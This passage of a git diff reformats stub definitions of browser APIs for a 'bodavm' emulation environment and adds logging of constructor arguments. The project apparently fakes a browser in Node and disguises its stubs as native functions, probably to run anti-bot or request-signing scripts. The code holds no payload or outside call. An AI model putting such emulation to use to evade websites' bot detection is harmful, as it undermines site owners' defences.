\ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Profiler.js b/env_xbb_lastest_jsdom/env/Profiler.js index b05d6b6a..8d99d2a4 100644 --- a/env_xbb_lastest_jsdom/env/Profiler.js +++ b/env_xbb_lastest_jsdom/env/Profiler.js @@ -1,8 +1,43 @@ -// Profiler对象 -bodavm.memory.globalobj['Profiler'] = function Profiler(){if (!(this instanceof Profiler)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Profiler': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Profiler'], "Profiler"); -bodavm.memory.globalobj['Profiler'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Profiler'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Profiler', "sampleInterval", {configurable:true, enumerable:true, get:function sampleInterval (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Profiler'].prototype, "Profiler", "sampleInterval_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Profiler', "stopped", {configurable:true, enumerable:true, get:function stopped (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Profiler'].prototype, "Profiler", "stopped_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Profiler', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Profiler'].prototype, "Profiler", "stop", arguments)}},'prototype'); +// Profiler对象 + +bodavm.memory.globalobj['Profiler'] = function Profiler() { + console.log_copy('Profiler 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Profiler)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Profiler': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Profiler'], "Profiler"); +bodavm.memory.globalobj['Profiler'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Profiler'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Profiler', "sampleInterval", { + configurable: true, + enumerable: true, + get: function sampleInterval() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Profiler'].prototype, "Profiler", "sampleInterval_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Profiler', "stopped", { + configurable: true, + enumerable: true, + get: function stopped() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Profiler'].prototype, "Profiler", "stopped_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Profiler', "stop", { + configurable: true, + enumerable: true, + writable: true, + value: function stop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Profiler'].prototype, "Profiler", "stop", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ProgressEvent.js b/env_xbb_lastest_jsdom/env/ProgressEvent.js index c087501b..a5104738 100644 --- a/env_xbb_lastest_jsdom/env/ProgressEvent.js +++ b/env_xbb_lastest_jsdom/env/ProgressEvent.js @@ -1,8 +1,43 @@ -// ProgressEvent对象 -bodavm.memory.globalobj['ProgressEvent'] = function ProgressEvent(){if (!(this instanceof ProgressEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ProgressEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ProgressEvent'], "ProgressEvent"); -bodavm.memory.globalobj['ProgressEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['ProgressEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('ProgressEvent', "lengthComputable", {configurable:true, enumerable:true, get:function lengthComputable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProgressEvent'].prototype, "ProgressEvent", "lengthComputable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ProgressEvent', "loaded", {configurable:true, enumerable:true, get:function loaded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProgressEvent'].prototype, "ProgressEvent", "loaded_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ProgressEvent', "total", {configurable:true, enumerable:true, get:function total (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProgressEvent'].prototype, "ProgressEvent", "total_get", arguments)}, set:undefined},'prototype'); +// ProgressEvent对象 + +bodavm.memory.globalobj['ProgressEvent'] = function ProgressEvent() { + console.log_copy('ProgressEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ProgressEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ProgressEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ProgressEvent'], "ProgressEvent"); +bodavm.memory.globalobj['ProgressEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['ProgressEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('ProgressEvent', "lengthComputable", { + configurable: true, + enumerable: true, + get: function lengthComputable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProgressEvent'].prototype, "ProgressEvent", "lengthComputable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ProgressEvent', "loaded", { + configurable: true, + enumerable: true, + get: function loaded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProgressEvent'].prototype, "ProgressEvent", "loaded_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ProgressEvent', "total", { + configurable: true, + enumerable: true, + get: function total() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProgressEvent'].prototype, "ProgressEvent", "total_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Promise.js b/env_xbb_lastest_jsdom/env/Promise.js index e8d0770f..950fd4a6 100644 --- a/env_xbb_lastest_jsdom/env/Promise.js +++ b/env_xbb_lastest_jsdom/env/Promise.js @@ -1,43 +1,37 @@ const PENDING = 'pending'; const FULFILLED = 'fulfilled'; const REJECTED = 'rejected'; - function Promise(executor) { this.state = PENDING; this.value = null; this.reason = null; this.onFulfilledCallbacks = []; this.onRejectedCallbacks = []; - - const resolve = (value) => { + const resolve = value => { if (this.state === PENDING) { this.state = FULFILLED; this.value = value; - this.onFulfilledCallbacks.forEach((fun) => { + this.onFulfilledCallbacks.forEach(fun => { fun(); }); } }; - - const reject = (reason) => { + const reject = reason => { if (this.state === PENDING) { this.state = REJECTED; this.reason = reason; - this.onRejectedCallbacks.forEach((fun) => { + this.onRejectedCallbacks.forEach(fun => { fun(); }); } }; - try { executor(resolve, reject); } catch (reason) { reject(reason); } } -bodavm.toolsFunc.safeProto(Promise,"Promise"); - - +bodavm.toolsFunc.safeProto(Promise, "Promise"); //原型上面的方法 //用settimeout来模拟异步调用,保证链式调用,即then方法中要返回一个新的promise,并将then方法的返回值进行resolve @@ -100,28 +94,21 @@ Promise.prototype.then = function (onFulfilled, onRejected) { }); return promise2; }; -bodavm.toolsFunc.safeFunc(Promise.prototype.then,'then') - +bodavm.toolsFunc.safeFunc(Promise.prototype.then, 'then'); Promise.prototype.catch = function (onRejected) { return this.then(null, onRejected); }; -bodavm.toolsFunc.safeFunc(Promise.prototype.catch,'catch') - - +bodavm.toolsFunc.safeFunc(Promise.prototype.catch, 'catch'); Promise.prototype.finally = function (fn) { - return this.then( - (value) => { - fn(); - return value; - }, - (reason) => { - fn(); - throw reason; - } - ); + return this.then(value => { + fn(); + return value; + }, reason => { + fn(); + throw reason; + }); }; -bodavm.toolsFunc.safeFunc(Promise.prototype.finally,'finally') - +bodavm.toolsFunc.safeFunc(Promise.prototype.finally, 'finally'); //静态方法 Promise.resolve = function (value) { @@ -129,14 +116,13 @@ Promise.resolve = function (value) { resolve(value); }); }; -bodavm.toolsFunc.safeFunc(Promise.resolve,'resolve') - +bodavm.toolsFunc.safeFunc(Promise.resolve, 'resolve'); Promise.reject = function (reason) { return new Promise((resolve, reject) => { reject(reason); }); }; -bodavm.toolsFunc.safeFunc(Promise.reject,'reject') +bodavm.toolsFunc.safeFunc(Promise.reject, 'reject'); //接受一个promise数组,当所有promise状态resolve后,执行resolve Promise.all = function (promises) { @@ -147,23 +133,20 @@ Promise.all = function (promises) { let result = []; let index = 0; for (let i = 0; i < promises.length; i++) { - promises[i].then( - (data) => { - result[i] = data; - if (++index === promises.length) { - resolve(result); - } - }, - (err) => { - reject(err); - return; + promises[i].then(data => { + result[i] = data; + if (++index === promises.length) { + resolve(result); } - ); + }, err => { + reject(err); + return; + }); } } }); }; -bodavm.toolsFunc.safeFunc(Promise.all,'all') +bodavm.toolsFunc.safeFunc(Promise.all, 'all'); //接受一个promise数组,当有一个promise状态resolve后,执行resolve Promise.race = function (promises) { @@ -173,21 +156,16 @@ Promise.race = function (promises) { } else { let index = 0; for (let i = 0; i < promises.length; i++) { - promises[i].then( - (data) => { - resolve(data); - }, - (err) => { - reject(err); - return; - } - ); + promises[i].then(data => { + resolve(data); + }, err => { + reject(err); + return; + }); } } }); }; -bodavm.toolsFunc.safeFunc(Promise.race,'race') - -bodavm.toolsFunc.safeFunc(Promise) -// globalMy.rename(Promise.prototype,"Promise") - +bodavm.toolsFunc.safeFunc(Promise.race, 'race'); +bodavm.toolsFunc.safeFunc(Promise); +// globalMy.rename(Promise.prototype,"Promise") \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PromiseRejectionEvent.js b/env_xbb_lastest_jsdom/env/PromiseRejectionEvent.js index d10ece3b..dc70714b 100644 --- a/env_xbb_lastest_jsdom/env/PromiseRejectionEvent.js +++ b/env_xbb_lastest_jsdom/env/PromiseRejectionEvent.js @@ -1,15 +1,35 @@ - // PromiseRejectionEvent对象 -bodavm.memory.globalobj['PromiseRejectionEvent'] = function PromiseRejectionEvent(){if (!(this instanceof PromiseRejectionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PromiseRejectionEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['PromiseRejectionEvent'] = function PromiseRejectionEvent() { + console.log_copy('PromiseRejectionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PromiseRejectionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PromiseRejectionEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PromiseRejectionEvent'], "PromiseRejectionEvent"); - -bodavm.memory.globalobj['PromiseRejectionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; - -bodavm.memory.globalobj['PromiseRejectionEvent'].__proto__=bodavm.memory.globalobj['Event']; - -bodavm.toolsFunc.defineProperty('PromiseRejectionEvent', "promise", {configurable:true, enumerable:true, get:function promise (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PromiseRejectionEvent'].prototype, "PromiseRejectionEvent", "promise_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('PromiseRejectionEvent', "reason", {configurable:true, enumerable:true, get:function reason (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PromiseRejectionEvent'].prototype, "PromiseRejectionEvent", "reason_get", arguments)}, set:undefined},'prototype'); - +bodavm.memory.globalobj['PromiseRejectionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PromiseRejectionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PromiseRejectionEvent', "promise", { + configurable: true, + enumerable: true, + get: function promise() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PromiseRejectionEvent'].prototype, "PromiseRejectionEvent", "promise_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PromiseRejectionEvent', "reason", { + configurable: true, + enumerable: true, + get: function reason() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PromiseRejectionEvent'].prototype, "PromiseRejectionEvent", "reason_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PublicKeyCredential.js b/env_xbb_lastest_jsdom/env/PublicKeyCredential.js index 9eba0e18..136a46ec 100644 --- a/env_xbb_lastest_jsdom/env/PublicKeyCredential.js +++ b/env_xbb_lastest_jsdom/env/PublicKeyCredential.js @@ -1,11 +1,67 @@ -// PublicKeyCredential对象 -bodavm.memory.globalobj['PublicKeyCredential'] = function PublicKeyCredential(){if (!(this instanceof PublicKeyCredential)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PublicKeyCredential'], "PublicKeyCredential"); -bodavm.memory.globalobj['PublicKeyCredential'].prototype.__proto__=bodavm.memory.globalobj['Credential'].prototype; -bodavm.memory.globalobj['PublicKeyCredential'].__proto__=bodavm.memory.globalobj['Credential']; -bodavm.toolsFunc.defineProperty('PublicKeyCredential', "isUserVerifyingPlatformAuthenticatorAvailable", {configurable:true, enumerable:true, writable:true, value:function isUserVerifyingPlatformAuthenticatorAvailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].undefined, "PublicKeyCredential", "isUserVerifyingPlatformAuthenticatorAvailable", arguments)}}); -bodavm.toolsFunc.defineProperty('PublicKeyCredential', "isConditionalMediationAvailable", {configurable:true, enumerable:true, writable:true, value:function isConditionalMediationAvailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].undefined, "PublicKeyCredential", "isConditionalMediationAvailable", arguments)}}); -bodavm.toolsFunc.defineProperty('PublicKeyCredential', "rawId", {configurable:true, enumerable:true, get:function rawId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "rawId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PublicKeyCredential', "response", {configurable:true, enumerable:true, get:function response (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "response_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PublicKeyCredential', "authenticatorAttachment", {configurable:true, enumerable:true, get:function authenticatorAttachment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "authenticatorAttachment_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PublicKeyCredential', "getClientExtensionResults", {configurable:true, enumerable:true, writable:true, value:function getClientExtensionResults (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "getClientExtensionResults", arguments)}},'prototype'); +// PublicKeyCredential对象 + +bodavm.memory.globalobj['PublicKeyCredential'] = function PublicKeyCredential() { + console.log_copy('PublicKeyCredential 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PublicKeyCredential)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PublicKeyCredential'], "PublicKeyCredential"); +bodavm.memory.globalobj['PublicKeyCredential'].prototype.__proto__ = bodavm.memory.globalobj['Credential'].prototype; +bodavm.memory.globalobj['PublicKeyCredential'].__proto__ = bodavm.memory.globalobj['Credential']; +bodavm.toolsFunc.defineProperty('PublicKeyCredential', "isUserVerifyingPlatformAuthenticatorAvailable", { + configurable: true, + enumerable: true, + writable: true, + value: function isUserVerifyingPlatformAuthenticatorAvailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].undefined, "PublicKeyCredential", "isUserVerifyingPlatformAuthenticatorAvailable", arguments); + } +}); +bodavm.toolsFunc.defineProperty('PublicKeyCredential', "isConditionalMediationAvailable", { + configurable: true, + enumerable: true, + writable: true, + value: function isConditionalMediationAvailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].undefined, "PublicKeyCredential", "isConditionalMediationAvailable", arguments); + } +}); +bodavm.toolsFunc.defineProperty('PublicKeyCredential', "rawId", { + configurable: true, + enumerable: true, + get: function rawId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "rawId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PublicKeyCredential', "response", { + configurable: true, + enumerable: true, + get: function response() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "response_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PublicKeyCredential', "authenticatorAttachment", { + configurable: true, + enumerable: true, + get: function authenticatorAttachment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "authenticatorAttachment_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PublicKeyCredential', "getClientExtensionResults", { + configurable: true, + enumerable: true, + writable: true, + value: function getClientExtensionResults() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "getClientExtensionResults", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PushManager.js b/env_xbb_lastest_jsdom/env/PushManager.js index d7d5aae1..06df402a 100644 --- a/env_xbb_lastest_jsdom/env/PushManager.js +++ b/env_xbb_lastest_jsdom/env/PushManager.js @@ -1,7 +1,49 @@ -// PushManager对象 -bodavm.memory.globalobj['PushManager'] = function PushManager(){if (!(this instanceof PushManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PushManager'], "PushManager"); -bodavm.toolsFunc.defineProperty('PushManager', "supportedContentEncodings", {configurable:true, enumerable:true, get:function supportedContentEncodings (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].undefined, "PushManager", "supportedContentEncodings_get", arguments)}, set:undefined}); -bodavm.toolsFunc.defineProperty('PushManager', "getSubscription", {configurable:true, enumerable:true, writable:true, value:function getSubscription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].prototype, "PushManager", "getSubscription", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PushManager', "permissionState", {configurable:true, enumerable:true, writable:true, value:function permissionState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].prototype, "PushManager", "permissionState", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PushManager', "subscribe", {configurable:true, enumerable:true, writable:true, value:function subscribe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].prototype, "PushManager", "subscribe", arguments)}},'prototype'); +// PushManager对象 + +bodavm.memory.globalobj['PushManager'] = function PushManager() { + console.log_copy('PushManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PushManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PushManager'], "PushManager"); +bodavm.toolsFunc.defineProperty('PushManager', "supportedContentEncodings", { + configurable: true, + enumerable: true, + get: function supportedContentEncodings() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].undefined, "PushManager", "supportedContentEncodings_get", arguments); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('PushManager', "getSubscription", { + configurable: true, + enumerable: true, + writable: true, + value: function getSubscription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].prototype, "PushManager", "getSubscription", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushManager', "permissionState", { + configurable: true, + enumerable: true, + writable: true, + value: function permissionState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].prototype, "PushManager", "permissionState", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushManager', "subscribe", { + configurable: true, + enumerable: true, + writable: true, + value: function subscribe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].prototype, "PushManager", "subscribe", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PushSubscription.js b/env_xbb_lastest_jsdom/env/PushSubscription.js index f00e7af5..35ca09eb 100644 --- a/env_xbb_lastest_jsdom/env/PushSubscription.js +++ b/env_xbb_lastest_jsdom/env/PushSubscription.js @@ -1,9 +1,65 @@ -// PushSubscription对象 -bodavm.memory.globalobj['PushSubscription'] = function PushSubscription(){if (!(this instanceof PushSubscription)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PushSubscription'], "PushSubscription"); -bodavm.toolsFunc.defineProperty('PushSubscription', "endpoint", {configurable:true, enumerable:true, get:function endpoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "endpoint_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PushSubscription', "expirationTime", {configurable:true, enumerable:true, get:function expirationTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "expirationTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PushSubscription', "options", {configurable:true, enumerable:true, get:function options (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "options_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PushSubscription', "getKey", {configurable:true, enumerable:true, writable:true, value:function getKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "getKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PushSubscription', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PushSubscription', "unsubscribe", {configurable:true, enumerable:true, writable:true, value:function unsubscribe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "unsubscribe", arguments)}},'prototype'); +// PushSubscription对象 + +bodavm.memory.globalobj['PushSubscription'] = function PushSubscription() { + console.log_copy('PushSubscription 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PushSubscription)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PushSubscription'], "PushSubscription"); +bodavm.toolsFunc.defineProperty('PushSubscription', "endpoint", { + configurable: true, + enumerable: true, + get: function endpoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "endpoint_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushSubscription', "expirationTime", { + configurable: true, + enumerable: true, + get: function expirationTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "expirationTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushSubscription', "options", { + configurable: true, + enumerable: true, + get: function options() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "options_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushSubscription', "getKey", { + configurable: true, + enumerable: true, + writable: true, + value: function getKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "getKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushSubscription', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushSubscription', "unsubscribe", { + configurable: true, + enumerable: true, + writable: true, + value: function unsubscribe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "unsubscribe", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PushSubscriptionOptions.js b/env_xbb_lastest_jsdom/env/PushSubscriptionOptions.js index bf48f3eb..fa3aa75a 100644 --- a/env_xbb_lastest_jsdom/env/PushSubscriptionOptions.js +++ b/env_xbb_lastest_jsdom/env/PushSubscriptionOptions.js @@ -1,5 +1,33 @@ -// PushSubscriptionOptions对象 -bodavm.memory.globalobj['PushSubscriptionOptions'] = function PushSubscriptionOptions(){if (!(this instanceof PushSubscriptionOptions)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PushSubscriptionOptions'], "PushSubscriptionOptions"); -bodavm.toolsFunc.defineProperty('PushSubscriptionOptions', "userVisibleOnly", {configurable:true, enumerable:true, get:function userVisibleOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscriptionOptions'].prototype, "PushSubscriptionOptions", "userVisibleOnly_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PushSubscriptionOptions', "applicationServerKey", {configurable:true, enumerable:true, get:function applicationServerKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscriptionOptions'].prototype, "PushSubscriptionOptions", "applicationServerKey_get", arguments)}, set:undefined},'prototype'); +// PushSubscriptionOptions对象 + +bodavm.memory.globalobj['PushSubscriptionOptions'] = function PushSubscriptionOptions() { + console.log_copy('PushSubscriptionOptions 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PushSubscriptionOptions)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PushSubscriptionOptions'], "PushSubscriptionOptions"); +bodavm.toolsFunc.defineProperty('PushSubscriptionOptions', "userVisibleOnly", { + configurable: true, + enumerable: true, + get: function userVisibleOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscriptionOptions'].prototype, "PushSubscriptionOptions", "userVisibleOnly_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushSubscriptionOptions', "applicationServerKey", { + configurable: true, + enumerable: true, + get: function applicationServerKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscriptionOptions'].prototype, "PushSubscriptionOptions", "applicationServerKey_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCCertificate.js b/env_xbb_lastest_jsdom/env/RTCCertificate.js index f8e2e624..5b97c7d3 100644 --- a/env_xbb_lastest_jsdom/env/RTCCertificate.js +++ b/env_xbb_lastest_jsdom/env/RTCCertificate.js @@ -1,5 +1,33 @@ -// RTCCertificate对象 -bodavm.memory.globalobj['RTCCertificate'] = function RTCCertificate(){if (!(this instanceof RTCCertificate)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCCertificate'], "RTCCertificate"); -bodavm.toolsFunc.defineProperty('RTCCertificate', "expires", {configurable:true, enumerable:true, get:function expires (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCCertificate'].prototype, "RTCCertificate", "expires_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCCertificate', "getFingerprints", {configurable:true, enumerable:true, writable:true, value:function getFingerprints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCCertificate'].prototype, "RTCCertificate", "getFingerprints", arguments)}},'prototype'); +// RTCCertificate对象 + 